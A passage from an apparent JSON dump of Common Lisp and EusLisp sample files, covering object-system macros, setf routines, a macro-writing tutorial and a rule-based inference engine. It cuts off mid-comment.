classes))))))\n) ;eval-when ; end of more list functions\n|#\n\n\f\n;;;\n;;; LEO functions\n;;;\n(eval-when (load eval)\n(defmacro send-super-lexpr (selector &rest msgs)\n  (declare (type metaclass class))\n  `(apply #'send-message self (class . super) ,selector . ,msgs)\n  )\n(defmacro send-super* (&rest msgs)\n  (declare (type metaclass class))\n  `(apply #'send-message self (class . super) . ,msgs)\n  )\n(defmacro send-lexpr (target selector &rest msgs)\n  `(apply #'send ,target ,selector . ,msgs)\n  )\n(defmacro send* (&rest msgs)\n  `(apply #'send . ,msgs)\n  )\n(defmacro send-super (selector &rest msgs)\n  (declare (type metaclass class))\n  `(send-message self (class . super) ,selector ,@msgs))\n\n(defun send-all (receivers &rest mesg)\n  (mapcar #'(lambda (r) (apply 'send r mesg)) receivers))\n\n(defun resend (obj mesg)\n   (eval (cons 'send (cons obj mesg))))\n\n(defmacro instance (cls &rest message)\n  (if message\n\t(let ((v (gensym \"INST\")))\n\t`(let ((,v (instantiate ,cls))) (send ,v ,@message) ,v))\n\t`(instantiate ,cls)))\n\n(defmacro instance* (cls &rest message)\n  (if message\n\t(let ((v (gensym \"INST\")))\n\t`(let ((,v (instantiate ,cls))) (send* ,v ,@message) ,v))\n\t`(instantiate ,cls)))\n\n(defun make-instance (klass &rest args)\n   (let ((inst (instantiate klass)))\n      (while args\n\t (setslot inst klass (string (pop args)) (pop args)))\n      inst))\n\n(defmacro defclassmethod (classname &rest methods)\n    `(defmethod ,(metaclass-name  (class (symbol-value classname)))\n\t\t. ,methods))\n(defun delete-method (classobj methodname)\n   (setf (metaclass-methods classobj)\n\t (delete methodname (metaclass-methods classobj) :key #'car))\n   (system::method-cache t))\n\n;;;\n;;;\tdefclass macro (T.Matsui 1988-Jun)\n;;;\n\n(defun make-class (name &key\n\t\t\t\t(super object)\t\n\t\t\t\t(include object)\n\t\t\t\t(printer nil)\n\t\t\t\t(constructor nil)\n\t\t\t\t(predicate nil)\n\t\t\t\t(copier nil)\n\t\t\t\t((:metaclass metaklass) nil)\n\t\t\t\t(element-type nil)\n\t\t\t\t(size -1)\n\t\t\t\t((:slots varlist) nil) \n\t\t\t\t(documentation nil))\n  (if (symbolp super) (setq super (symbol-value super)))\n  (let ((classobj (if (boundp name) (symbol-value name)))\n        (variables) (types) (forwards)\n        (etype) (index 0) (accessor) (p))\n     (cond ((null (classp classobj))\n\t\t(cond \n\t\t    (metaklass)\n\t\t    ((classp metaklass))\n\t\t    (super (setq metaklass (class super)))\n\t\t    (t     (setq metaklass (symbol-value 'metaclass))))\n\t\t(setq classobj (instantiate metaklass)))\n\t   (t (setq metaklass (class classobj))))\n     (setq variables (nreverse (coerce (super . vars) cons))\n\t   types (nreverse (coerce (super . types) cons))\n\t   forwards (nreverse (coerce (super . forwards) cons)))\n     (dolist (v varlist)\n\t(cond ((consp v)\n\t\t(if (member (car v) variables)\n\t\t    (error \"duplicated object variable name\"))\n\t\t(push (car v) variables)\n\t\t(setq p (position :type v))\n\t\t(push (if p (elt v (1+ p)) t) types)\n\t\t(setq p (position :forward v))\n\t\t(push (if p (elt v (1+ p)) nil) forwards))\n\t      ((symbolp v)\n\t\t(if (member v variables)\n\t\t    (error \"duplicated object variable name\"))\n\t\t(push v variables)\n\t\t(push t types)\n\t\t(push nil forwards))\n\t      (t (error \"variable name expected for :slots\"))))\n     (setq variables (coerce (nreverse variables) vector)\n\t   types (coerce (nreverse types) vector)\n\t   forwards (coerce (nreverse forwards) vector))\n     (setq etype (cdr (assq element-type \n\t\t\t'((:BIT . 1) (:CHAR . 2) (:BYTE . 3)\n\t\t\t  (:INTEGER . 4) (:FLOAT . 5) (:FOREIGN . 6)))))\n     (if (null etype)\n         (setq etype   (if (subclassp metaklass vectorclass)\n\t\t\t   (vectorclass-element-type super)\n\t\t\t   0)))\n     (setq (classobj . name) name\n\t   (classobj . vars) variables\n\t   (classobj . types) types\n\t   (classobj . forwards) forwards\n\t   (classobj . super) super)\n     (if (subclassp metaklass vectorclass)\n\t (setq  (classobj . element-type) etype\n\t\t(classobj . size) size))\n     (if (null (classobj . cix))   (enter-class classobj))\n;;;???\n;;;     (proclaim (list 'special name))\n;;      (set name classobj)\n;;     (send name :global classobj)\n     (putprop name documentation :class-documentation)\n;; define slot access functions and setf methods for all variables\n     (setq variables (coerce  variables  cons))\n     (dolist (v variables)\n\t(setq accessor (intern (concatenate string\n\t\t\t\t\t    (string name) \"-\" (string v))))\n\t(setf (symbol-function accessor)\n\t      `(macro (obj) (list 'slot obj ',name ,index)))\n\t(incf index))\n     classobj ))\n\n\n(defmacro defstruct (name &rest slots)\n   `(progn\n\t    (send ',name :global\n\t\t(make-class ',name :slots ',slots))\n\t    ',name))\n\n\n(defmacro defclass (name &key slots\n\t\t\t      (super 'object)\n\t\t\t      (size -1)\n\t\t\t      ((:metaclass metaklass) nil)\n\t\t\t      element-type\n\t\t\t      documentation\n\t\t\t      (doc documentation))\n\t`(progn\n\t    (send ',name :global\n\t        (make-class ',name\n\t\t    :super ,super\n\t\t    :slots ',slots\n\t\t    :metaclass ,metaklass\n\t\t    :element-type ,element-type\n\t\t    :size ,size\n\t\t    :documentation ,doc) )\n\t    ',name))\n\n\n;;; \n;;; READTABLES\n;;;\n(eval-when (load eval)\n(defun readtablep (x) (derivedp x readtable))\n(defun copy-readtable (&optional (from *readtable*) (to nil))\n   (when (null from) (setq from *default-readtable*))\n   (when (null to)\n      (setq to (instantiate readtable))\n      (setf (readtable-syntax to) (instantiate string 256)\n\t    (readtable-macro to) (instantiate vector 256)\n\t    (readtable-dispatch-macro to) (instantiate vector 256)))\n   (if (or (null (readtablep from)) (null (readtablep to))) \n       (error \"readtable expected\"))\n   (replace (readtable-syntax to) (readtable-syntax from))\n   (replace (readtable-macro to) (readtable-macro from))\n   (replace (readtable-dispatch-macro to) (readtable-dispatch-macro from))\n   (setf (readtable-case to) (readtable-case from))\n   to)\n\n(defun set-syntax-from-char\n\t (to-char from-char &optional (to-readtable *readtable*)\n\t\t\t\t      (from-readtable *default-readtable*))\n   (let (syn)\n      (setq syn (aref (readtable-syntax from-readtable) from-char))\n      (aset (readtable-syntax to-readtable) to-char syn)\n      (if (or (eq syn 7) (eq syn 8))\n\t  (aset (readtable-macro to-readtable) to-char\n\t\t(aref (readtable-macro from-readtable) from-char)))\n      syn))\n)\n\n\f\n;;\n;;\tpredicates\n;;\n(eval-when (load eval)\n(defun keywordp (sym)\n   (declare (type symbol sym))\n   (and (symbolp sym) (eq (sym . homepkg) *keyword-package*)))\n\n(defun constantp (obj)\n   (declare (type symbol obj))\n   (if (symbolp obj)\n\t(if (or (keywordp obj) (eq (obj . vtype) 0)) t nil)\n\t(if (listp obj)\n\t    (if (eq (car obj) 'quote) t nil)\n\t    (if (atom obj) t nil))))\n\n(defun functionp (obj)\n  (cond ((numberp obj) nil)\n\t((listp obj) \n\t    (if (or (memq (car obj) '(lambda lambda-closure))) t nil))\n\t((derivedp obj compiled-code)\n\t  (eq (compiled-code-type obj) 0))\n\t((and (symbolp obj) (fboundp obj))\n\t (functionp (symbol-function obj)))\n\t(t nil)))\n\n(defun vector-class-p (p) (derivedp p vectorclass))\n(defun compiled-function-p (x) (derivedp  x compiled-code))\n(defun input-stream-p (obj)\n  (declare (stream obj))\n  (or (and (derivedp obj stream)  (eq (obj . direction) :input))\n      (derivedp obj io-stream)))\n(defun output-stream-p (obj)\n  (declare (stream obj))\n  (or (and (derivedp obj stream)  (eq (obj . direction) :output))\n      (derivedp obj io-stream)))\n(defun io-stream-p (obj) (derivedp obj io-stream))\n\n(defun special-form-p (s)\n  (and (symbolp s)\n       (fboundp s)\n       (setq s (symbol-function s))\n       (compiled-function-p s)\n       (eq (s . type) 2)))\n\n(defun macro-function (s)\n  (and (symbolp s)\n       (fboundp s)\n       (setq s (symbol-function s))\n       (if (and (compiled-function-p s)\n\t        (eq (s . type) 1))\n\t   s\n\t   (if (and (listp s) (eq (car s) 'macro)) s nil)\n       )))\n\n(defun zerop (n) (= n 0))\n(defun plusp (n) (> n 0))\n(defun minusp (n) (< n 0))\n(defun oddp (n) (logbitp 0 n))\n(defun evenp (n) (not (logbitp 0 n)))\n(defun /= (n1 n2) (not (= n1 n2)))\n(defun logandc1 (x y) (logand (lognot x) y))\n(defun logandc2 (x y) (logand x (lognot y)))\n(defmacro ecase (&rest x) (cons 'case x))\n\n(defun every (pred arg &rest more-args)\n  (cond ((and (null more-args) (listp arg))\n\t (while arg (unless (funcall pred (pop arg)) (return-from every nil))))\n\t(t\n\t (setq arg (cons arg more-args))\n\t (dotimes (i (length (car arg)))\n\t     (unless (apply pred (mapcar #'(lambda (x) (elt x i)) arg))\n\t\t     (return-from every nil)))))\n   t)\n\n(defun some (pred arg &rest more-args &aux result)\n   (setq arg (cons arg more-args))\n   (dotimes (i (length (car arg)))\n        (if (setq result (apply pred (mapcar #'(lambda (x) (elt x i)) arg)))\n\t    (return-from some result)))\n   nil)\n)\n\n(eval-when (load eval)\n(defun reduce (func seq &key (start 0) (end (length seq))\n\t\t\t     from-end initial-value)\n   (let ((length (- end start)))\n      (when from-end (setq seq (reverse seq)))\n      (cond\n\t ((and (= length 1) (null initial-value)) (elt seq start))\n\t ((= length 0)\n\t  (if initial-value initial-value (funcall func)))\n\t (t\n\t   (unless initial-value\n\t\t(setq initial-value\n\t\t      (funcall func (elt seq start) (elt seq (inc start))))\n\t\t(dec length 2) (inc start))\n\t   (dotimes (i length)\n\t     (setq initial-value\n\t\t   (funcall func initial-value (elt seq (+ start i)))))\n\t   initial-value))))\n\n(defun merge-list (list1 list2 pred key &aux result p1 e1 e2 pp1 pp2)\n   (while (and list2  (not (funcall pred (funcall key (car list1))\n\t\t\t\t         (funcall key (car list2)))))\n      (push (pop list2) result))\n   (setq result (nreverse result))\n   (setq p1 list1)\n   (while (and list2 (cdr p1))\n      (setq e2 (funcall key (car list2)))\n      (while (and p1 (funcall pred (funcall key (cadr p1)) e2)) (pop p1))\n      (when p1\n\t (setf pp1 (cdr p1)\n\t       pp2 (cdr list2)\n\t       (cdr p1) list2\n\t       (cdr list2) pp1\n\t       p1 list2\n\t       list2 pp2)) )\n   (nconc result list1 list2))\n\n(defun merge (result-class seq1 seq2 pred &key (key #'identity))\n   (if (and (eq result-class cons) (listp seq1) (listp seq2))\n       (merge-list seq1 seq2 pred key)\n       (let* ((l1 (length seq1)) (l2 (length seq2)) (l (+ l1 l2))\n\t      (result (make-sequence result-class l))\n\t      (i1 0) (i2 0) (j 0) (e1) (e2) (e))\n          (while (< j l)\n\t    (cond ((>= i1 l1) (setq e (elt seq2 i2)) (inc i2))\n\t          ((>= i2 l2) (setq e (elt seq1 i1)) (inc i1))\n\t          (t (setq e1 (elt seq1 i1)\n\t\t           e2 (elt seq2 i2))\n\t\t     (if (funcall pred (funcall key e1) (funcall key e2))\n\t\t         (progn (inc i1) (setq e e1))\n\t\t         (progn (inc i2) (setq e e2)))))\n\t    (setf (elt result j) e)\n\t    (inc j))\n          result)))\n)\n\t\t   \n\n;;\n;; arithmetics aux\n;;\n\n(defun expt (a x)\n   (cond ((and (integerp x) (>= x 0))\n\t  (if (zerop x)\n\t      1\n\t      (let ((b a) (y 1) (ix (1- x)))\n\t\t(declare (integer y ix))\n\t\t(while (> ix 0)\n\t\t    (cond ((> ix y)\n\t\t\t    (setq b (* b b)\n\t\t\t    \t  ix (- ix y)\n\t\t\t    \t  y (ash y 1)))\n\t\t\t  (t (setq b (* b a) ix (1- ix)))))\n\t        b)))\n\t (t (exp (* x (log a))))))\n(defun signum (x) (if (zerop x) x (/ x (abs x))))\n(defun rad2deg (rad) (/ (* 360.0 rad) 2pi))\n(defun deg2rad (deg) (/ (* 2pi deg) 360.0))\n)\n\f\n;;;; (C) Copyright Taiichi Yuasa and Masami Hagiya, 1984. All rights reserved.\n;;;;\n;;;;                                setf routines\n;;;;\tModified by T.Matsui to be run on euslisp\n;;;;\t1988-Jun-27\n\n;;; DEFSETF macro.\n(defmacro defsetf (access-fn &rest rest)\n  (cond ((and (car rest) (or (symbolp (car rest)) (functionp (car rest))))\n         `(progn (putprop ',access-fn ',(car rest) 'setf-update-fn)\n                 (remprop ',access-fn 'setf-lambda)\n                 (remprop ',access-fn 'setf-method)\n                 (putprop ',access-fn\n                             ,(when (not (endp (cdr rest)))\n                                    (unless (stringp (cadr rest))\n                                            (error \"A doc-string expected.\"))\n                                    (unless (endp (cddr rest))\n                                            (error \"Extra arguments.\"))\n                                    (cadr rest))\n                             'setf-documentation)\n                 ',access-fn))\n\t(t\n\t (unless (= (list-length (cadr rest)) 1)\n\t\t (error \"(store-variable) expected.\"))\n         `(progn (putprop ',access-fn ',rest 'setf-lambda)\n                 (remprop ',access-fn 'setf-update-fn)\n                 (remprop ',access-fn 'setf-method)\n;                 (putprop ',access-fn\n;                             ,(find-documentation (cddr rest))\n;                             'setf-documentation)\n                 ',access-fn))))\n\n\n;;; DEFINE-SETF-METHOD macro.\n(defmacro define-setf-method (access-fn &rest rest)\n  `(progn (putprop ',access-fn #'(lambda ,@rest) 'setf-method)\n          (remprop ',access-fn 'setf-lambda)\n          (remprop ',access-fn 'setf-update-fn)\n;          (putprop ',access-fn\n;                      ,(find-documentation (cdr rest))\n;                      'setf-documentation)\n          ',access-fn))\n\n;;; The expansion function for SETF.\n(defun setf-expand-1 (place newvalue)\n (let (g)\n  (setq place (macroexpand place))\n  (cond ((and (consp place) (eq (car place) 'the))\n          (setf-expand-1 (caddr place) `(the ,(cadr place) ,newvalue)))\n        ((symbolp place)  `(setq ,place ,newvalue))\n        ((and (symbolp (car place)) (setq g (get (car place) 'setf-update-fn)))\n         `(,g ,@(cdr place) ,newvalue))\n        ((and (symbolp (car place))\n             (setq g (get (car place) 'structure-access))\n             (get (car place) 'setf-lambda)\n             (not (eq (car g) 'list))\n             (not (eq (car g) 'vector)))\n          `(system::structure-set ,(cadr place) ',(car g) ,(cdr g) ,newvalue))\n\t((macro-function (car place))\n\t (setf-expand-1 (macroexpand place) newvalue))\n\t((setq g (get (car place) 'setf-lambda))\n\t   (apply (append '(lambda) (list (append (cadr g) (car g))) (cddr g))\n\t\t  newvalue (cdr place)))\n;\t((get (car place) 'setf-method)\n;\t (apply (get (car form) 'setf-method) (cdr place)))\n\t(t (error \"SETF?\")))))\n\n(defun setf-expand (l)\n  (cond ((endp l) nil)\n        ((endp (cdr l)) (error \"~S is an illegal SETF form.\" l))\n        (t\n         (cons (setf-expand-1 (car l) (cadr l))\n               (setf-expand (cddr l))))))\n\n\n;;; SETF macro.\n(defmacro setf (&rest rest)\n  (cond ((endp rest) nil)\n        ((endp (cdr rest)) (error \"~S is an illegal SETF form.\" rest))\n        ((endp (cddr rest)) (setf-expand-1 (car rest) (cadr rest)))\n        (t (cons 'progn (setf-expand rest)))))\n\n;(defmacro incf (form &optional (d 1))\n;  `(setf ,form (+ ,form ,d)))\n;(defmacro decf (form &optional (d 1))\n;  `(setf ,form (- ,form ,d)))\n\n;;;\n;;;  MULTI-VALUE simulation macros\n;;;\n(defmacro multiple-value-bind (vlist init &rest forms)\n   (let* ((inits (gensym \"MULT\")) (vilist) (count 0))\n      (dolist (v vlist)\n\t (push (list v `(elt ,inits ,count)) vilist)\n         (inc count))\n      `(let* ((,inits ,init) . ,vilist) . ,forms)))\n\n(defmacro multiple-value-setq (vlist form)\n   (let ((i 0) (tempvar (gensym \"MULT\")) setq-forms)\n     (dolist (v vlist)\n\t(push (list\n\t\t(second\n\t\t   (assoc i\n\t\t\t'((0 first) (1 second) (2 third)\n\t\t\t(3 fourth)(4 fifth) (5 sixth) (6 seventh))))\n\t\ttempvar)\n\t      setq-forms)\n\t(push v setq-forms)\n\t(incf i))\n    `(let ((,tempvar ,form))\n\t(setq . ,setq-forms))))\n\n(alias 'values  'list)\n\n#|\n(defun quick-sort (sequence start end predicate key &aux (j 0) (k 0) exch)\n  (declare (fixnum start end j k))\n  (when (<= end (the fixnum (1+ start)))\n        (return-from quick-sort sequence))\n  (setq j start)\n  (setq k (1- end))\n  (do ((d (aref sequence start)))\n      ((> j k))\n    (do ()\n\t((or (> j k)\n\t     (funcall predicate\n\t\t      (funcall key (aref sequence k))\n\t\t      (funcall key d))))\n      (decf k))\n    (when (< k start)\n\t  (quick-sort sequence (1+ start) end predicate key)\n\t  (return-from quick-sort sequence))\n    (do ()\n\t((or (> j k)\n\t     (not (funcall predicate\n\t\t\t   (funcall key (aref sequence j))\n\t\t\t   (funcall key d)))))\n      (incf j))\n    (when (> j k) (return))\n    (setf exch (aref sequence k)\n\t  (aref sequence k) (aref sequence j)\n\t  (aref sequence j) exch)\n    (incf j)\n    (decf k))\n  (quick-sort sequence start j predicate key)\n  (quick-sort sequence j end predicate key)\n  sequence)\n\n(defun qsort (seq test &optional (key #'identity) &aux (vec nil) (s nil))\n  (cond ((null seq) nil)\n\t((listp seq)\n\t (setq vec (coerce seq vector))\n\t (quick-sort vec 0 (length seq) test key)\n\t (setq s seq)\n\t (dotimes (i (length vec))\n\t    (rplaca s (aref vec i))\n\t    (setq s (cdr s)))\n\t seq)\n\t((vectorp seq)\n\t (quick-sort seq 0 (length seq) test key)\n\t seq) ))\n|#\n\n#|\n(eval-when (load eval)\n   (defmacro pop (s) `(prog1 (car ,s) (setf ,s (cdr ,s))))\n   (defmacro push (item place) `(setf ,place (cons ,item ,place)))\n )\n|#\n\n\n"
  },
  {
    "path": "samples/Common Lisp/config.sexp",
    "content": "((exe_name hello)\n (link_order (world hello)))\n"
  },
  {
    "path": "samples/Common Lisp/hello.lisp",
    "content": "(DEFUN HELLO ()\n  (PRINT 'HELLO))\n"
  },
  {
    "path": "samples/Common Lisp/macros-advanced.cl",
    "content": ";; @file macros-advanced.cl\n;;\n;; @breif Advanced macro practices - defining your own macros\n;;\n;; Macro definition skeleton:\n;; (defmacro name (parameter*)\n;;   \"Optional documentation string\"\n;;   body-form*)\n;;\n;; Note that backquote expression is most often used in the `body-form`\n;;\n\n; `primep` test a number for prime\n(defun primep (n)\n  \"test a number for prime\"\n  (if (< n 2) (return-from primep))\n  (do ((i 2 (1+ i)) (p t (not (zerop (mod n i)))))\n      ((> i (sqrt n)) p)\n    (when (not p) (return))))\n; `next-prime` return the next prime bigger than the specified number\n(defun next-prime (n)\n  \"return the next prime bigger than the speicified number\"\n  (do ((i (1+ n) (1+ i)))\n      ((primep i) i)))\n;\n; The recommended procedures to writting a new macro are as follows:\n; 1. Write a sample call to the macro and the code it should expand into\n(do-primes (p 0 19)\n  (format t \"~d \" p))\n; Expected expanded codes\n(do ((p (next-prime (- 0 1)) (next-prime p)))\n    ((> p 19))\n  (format t \"~d \" p))\n; 2. Write code that generate the hardwritten expansion from the arguments in\n; the sample call\n(defmacro do-primes (var-and-range &rest body)\n  (let ((var (first var-and-range))\n        (start (second var-and-range))\n        (end (third var-and-range)))\n    `(do ((,var (next-prime (- ,start 1)) (next-prime ,var)))\n         ((> ,var ,end))\n      ,@body)))\n; 2-1. More concise implementations with the 'parameter list destructuring' and\n; '&body' synonym, it also emits more friendly messages on incorrent input.\n(defmacro do-primes ((var start end) &body body)\n  `(do ((,var (next-prime (- ,start 1)) (next-prime ,var)))\n       ((> ,var ,end))\n    ,@body))\n; 2-2. Test the result of macro expansion with the `macroexpand-1` function\n(macroexpand-1 '(do-primes (p 0 19) (format t \"~d \" p)))\n; 3. Make sure the macro abstraction does not \"leak\"\n(defmacro do-primes ((var start end) &body body)\n  (let ((end-value-name (gensym)))\n    `(do ((,var (next-prime (- ,start 1)) (next-prime ,var))\n          (,end-value-name ,end))\n         ((> ,var ,end-value-name))\n      ,@body)))\n; 3-1. Rules to observe to avoid common and possible leaks\n;   a. include any subforms in the expansion in positions that will be evaluated\n;      in the same order as the subforms appear in the macro call\n;   b. make sure subforms are evaluated only once by creating a variable in the\n;      expansion to hold the value of evaluating the argument form, and then\n;      using that variable anywhere else the value is needed in the expansion\n;   c. use `gensym` at macro expansion time to create variable names used in the\n;      expansion\n;\n; Appendix I. Macro-writting macros, 'with-gensyms', to guranttee that rule c\n; gets observed.\n; Example usage of `with-gensyms`\n(defmacro do-primes-a ((var start end) &body body)\n  \"do-primes implementation with macro-writting macro 'with-gensyms'\"\n  (with-gensyms (end-value-name)\n    `(do ((,var (next-prime (- ,start 1)) (next-prime ,var))\n          (,end-value-name ,end))\n         ((> ,var ,end-value-name))\n      ,@body)))\n; Define the macro, note how comma is used to interpolate the value of the loop\n; expression\n(defmacro with-gensyms ((&rest names) &body body)\n  `(let ,(loop for n in names collect `(,n (gensym)))\n    ,@body)\n)"
  },
  {
    "path": "samples/Common Lisp/motor-inferencia.cl",
    "content": "#|\r\nESCUELA POLITECNICA SUPERIOR - UNIVERSIDAD AUTONOMA DE MADRID\r\nINTELIGENCIA ARTIFICIAL\r\n\r\nMotor de inferencia\r\nBasado en parte en \"Paradigms of AI Programming: Case Studies\r\nin Common Lisp\", de Peter Norvig, 1992\r\n|#\r\n\r\n\r\n;;;;;;;;;;;;;;;;;;;;;\r\n;;;; Global variables\r\n;;;;;;;;;;;;;;;;;;;;;\r\n\r\n\r\n(defvar *hypothesis-list*)\r\n(defvar *rule-list*)\r\n(defvar *fact-list*)\r\n\r\n;;;;;;;;;;;;;;;;;;;;;\r\n;;;; Constants\r\n;;;;;;;;;;;;;;;;;;;;;\r\n\r\n(defconstant +fail+ nil \"Indicates unification failure\")\r\n\r\n(defconstant +no-bindings+ '((nil))\r\n  \"Indicates unification success, with no variables.\")\r\n\r\n(defconstant *mundo-abierto* nil)\r\n\r\n\r\n\r\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\r\n;;;; Functions for the user\r\n;;;;;;;;;;;;;;;;;;;;;;;;;;;\r\n\r\n\r\n;; Resets *fact-list* to NIL\r\n(defun erase-facts () (setq *fact-list* nil))\r\n\r\n(defun set-hypothesis-list (h) (setq *hypothesis-list* h))\r\n\r\n\r\n;; Returns a list of solutions, each one satisfying all the hypothesis contained\r\n;; in *hypothesis-list*\r\n(defun motor-inferencia ()\r\n  (consulta *hypothesis-list*))\r\n\r\n\r\n\r\n;;;;;;;;;;;;;;;;;;;;;;;;\r\n;;;; Auxiliary functions\r\n;;;;;;;;;;;;;;;;;;;;;;;;\r\n\r\n#|____________________________________________________________________________\r\nFUNCTION: CONSULTA\r\n\r\nCOMMENTS:\r\nCONSULTA receives a list of hypothesis (variable <hypotheses>), and returns\r\na list of binding lists (each binding list being a solution).\r\n\r\nEXAMPLES:\r\nhypotheses is:\r\n((brothers ?x ?y) (neighbours juan ?x)).\r\n\r\nThat is, we are searching the brothers of the possible neighbors of Juan.\r\n\r\nThe function can return in this case:\r\n \r\n(((?x . sergio) (?y . javier)) ((?x . julian) (?y . mario)) ((?x . julian) (?y . pedro))).\r\nThat is, the neighbors of Juan (Sergio and Julian) have 3 brothers in total(Javier, Mario, Pedro)\r\n____________________________________________________________________________|#\r\n\r\n(defun consulta (hypotheses)\r\n  (if (null hypotheses) (list +no-bindings+)\r\n    (mapcan #'(lambda (b)\r\n                (mapcar #'(lambda (x) (une-bindings-con-bindings b x))\r\n                  (consulta (subst-bindings b (rest hypotheses)))))\r\n      (find-hypothesis-value (first hypotheses)))))\r\n\r\n\r\n\r\n#|____________________________________________________________________________\r\nFUNCTION: FIND-HYPOTHESIS-VALUE\r\n\r\nCOMMENTS:\r\nThis function manages the query a single query (only one hypothesis) given a binding list.\r\nIt tries (in the following order) to:\r\n- Answer the query from *fact-list*\r\n- Answer the query from the rules in *rule-list*\r\n- Ask the user\r\n\r\nThe function returns a list of solutions (list of binding lists).\r\n\r\nEXAMPLES:\r\nIf hypothesis is (brothers ?x ?y)\r\nand the function returns:\r\n(((?x . sergio) (?y . javier)) ((?x . julian) (?y . maria)) ((?x . alberto) (?y . pedro))).\r\n\r\nMeans that Sergio and Javier and brothers, Julian and Mario are brothers, and Alberto and Pedro are brothers.\r\n____________________________________________________________________________|#\r\n\r\n(defun find-hypothesis-value (hypothesis)\r\n  (let (rules)\r\n   (cond\r\n    ((equality? hypothesis) \r\n     (value-from-equality hypothesis))\r\n    ((value-from-facts hypothesis))\r\n    ((setq good-rules (find-rules hypothesis)) \r\n     (value-from-rules hypothesis good-rules))\r\n    (t (ask-user hypothesis)))))\r\n\r\n\r\n\r\n; une-bindings-con-bindings takes two binding lists and returns a binding list\r\n; Assumes that b1 and b2 are not +fail+\r\n(defun une-bindings-con-bindings (b1 b2)\r\n  (cond\r\n   ((equal b1 +no-bindings+) b2)\r\n   ((equal b2 +no-bindings+) b1)\r\n   (T (append b1 b2))))\r\n\r\n\r\n\r\n#|____________________________________________________________________________\r\nFUNCTION: VALUE-FROM-FACTS\r\n\r\nCOMMENTS:\r\nReturns all the solutions of <hypothesis> obtained directly from *fact-list*\r\n\r\nEXAMPLES:\r\n> (setf *fact-list* '((man luis) (man pedro)(woman mart)(man daniel)(woman laura)))\r\n\r\n> (value-from-facts '(man ?x))\r\nreturns:\r\n\r\n(((?X . LUIS)) ((?X . PEDRO)) ((?X . DANIEL)))\r\n____________________________________________________________________________|#\r\n\r\n(defun value-from-facts (hypothesis)\r\n  (mapcan #'(lambda(x) (let ((aux (unify hypothesis x)))\r\n                         (when aux (list aux)))) *fact-list*))\r\n\r\n\r\n\r\n\r\n#|____________________________________________________________________________\r\nFUNCTION: FIND-RULES\r\n\r\nCOMMENTS:\r\nReturns the rules in *rule-list* whose THENs unify with the term given in <hypothesis>\r\nThe variables in the rules that satisfy this requirement are renamed.\r\n\r\nEXAMPLES:\r\n> (setq *rule-list*\r\n      '((R1 (pertenece ?E (?E . ?_)))\r\n        (R2 (pertenece ?E (?_ . ?Xs)) :- ((pertenece ?E ?Xs)))))\r\n\r\nThen:\r\n> (FIND-RULES (PERTENECE 1 (2 5)))\r\nreturns:\r\n((R2 (PERTENECE ?E.1 (?_ . ?XS.2)) :- ((PERTENECE ?E.1 ?XS.2))))\r\nThat is, only the THEN of rule R2 unify with <hypothesis>\r\n\r\nHowever,\r\n> (FIND-RULES (PERTENECE 1 (1 6 7)))\r\n\r\nreturns:\r\n((R1 (PERTENECE ?E.6 (?E.6 . ?_)))\r\n (R2 (PERTENECE ?E.7 (?_ . ?XS.8)) :- ((PERTENECE ?E.7 ?XS.8))))\r\nSo the THEN of both rules unify with <hypothesis>\r\n____________________________________________________________________________|#\r\n\r\n(defun find-rules (hypothesis)\r\n  (mapcan #'(lambda(b) (let ((renamed-rule (rename-variables b)))\r\n                         (when (in-then? hypothesis renamed-rule)\r\n                           (list renamed-rule)))) *rule-list*))\r\n\r\n(defun in-then? (hypothesis rule)\r\n  (unless (null (rule-then rule))\r\n    (not (equal +fail+ (unify hypothesis (rule-then rule))))))\r\n\r\n\r\n\r\n#|____________________________________________________________________________\r\nFUNCTION: VALUE-FROM-RULES\r\n\r\nCOMMENTS:\r\nReturns all the solutions to <hypothesis> found using all the rules given in\r\nthe list <rules>. Note that a single rule can have multiple solutions.\r\n____________________________________________________________________________|#\r\n(defun value-from-rules (hypothesis rules)\r\n  (mapcan #'(lambda (r) (eval-rule hypothesis r)) rules))\r\n\r\n(defun limpia-vinculos (termino bindings)\r\n  (unify termino (subst-bindings bindings termino)))\r\n\r\n\r\n#|____________________________________________________________________________\r\nFUNCTION: EVAL-RULE\r\n\r\nCOMMENTS:\r\nReturns all the solutions found using the rule given as input argument.\r\n\r\nEXAMPLES:\r\n> (setq *rule-list*\r\n      '((R1 (pertenece ?E (?E . ?_)))\r\n        (R2 (pertenece ?E (?_ . ?Xs)) :- ((pertenece ?E ?Xs)))))\r\nThen:\r\n> (EVAL-RULE \r\n   (PERTENECE 1 (1 6 7)) \r\n   (R1 (PERTENECE ?E.42 (?E.42 . ?_))))\r\nreturns:\r\n(((NIL)))\r\nThat is, the query (PERTENECE 1 (1 6 7)) can be proven from the given rule, and\r\nno binding in the variables in the query is necessary (in fact, the query has no variables).\r\nOn the other hand:\r\n> (EVAL-RULE \r\n   (PERTENECE 1 (7)) \r\n   (R2 (PERTENECE ?E.49 (?_ . ?XS.50)) :- ((PERTENECE ?E.49 ?XS.50))))\r\nreturns:\r\nNIL\r\nThat is, the query can not be proven from the rule R2.\r\n____________________________________________________________________________|#\r\n\r\n(defun eval-rule (hypothesis rule)\r\n  (let ((bindings-then \r\n          (unify (rule-then rule) hypothesis)))\r\n    (unless (equal +fail+ bindings-then)\r\n      (if (rule-ifs rule)\r\n          (mapcar #'(lambda(b) (limpia-vinculos hypothesis (append bindings-then b)))\r\n            (consulta (subst-bindings bindings-then (rule-ifs rule))))\r\n        (list (limpia-vinculos hypothesis bindings-then))))))\r\n\r\n\r\n(defun ask-user (hypothesis)\r\n  (let ((question hypothesis))\r\n    (cond\r\n     ((variables-in question) +fail+)\r\n     ((not-in-fact-list? question) +fail+)\r\n     (*mundo-abierto*\r\n      (format t \"~%Es cierto el hecho ~S? (T/nil)\" question)\r\n      (cond\r\n       ((read) (add-fact question) +no-bindings+)\r\n       (T (add-fact (list 'NOT question)) +fail+)))\r\n     (T +fail+))))\r\n\r\n\r\n; value-from-equality:\r\n(defun value-from-equality (hypothesis)\r\n  (let ((new-bindings (unify (second hypothesis) (third hypothesis))))\r\n    (if (not (equal +fail+ new-bindings)) \r\n\t(list new-bindings))))\r\n\r\n\r\n\r\n#|____________________________________________________________________________\r\nFUNCTION: UNIFY\r\n\r\nCOMMENTS:\r\nFinds the most general unifier of two input expressions, taking into account the\r\nbindings specified in the input <bingings>\r\nIn case the two expressions can unify, the function returns the total bindings necessary\r\nfor that unification. Otherwise, returns +fail+\r\n\r\nEXAMPLES:\r\n> (unify '1 '1)\r\n((NIL)) ;; which is the constant +no-bindings+\r\n> (unify 1 '2)\r\nnil     ;; which is the constant 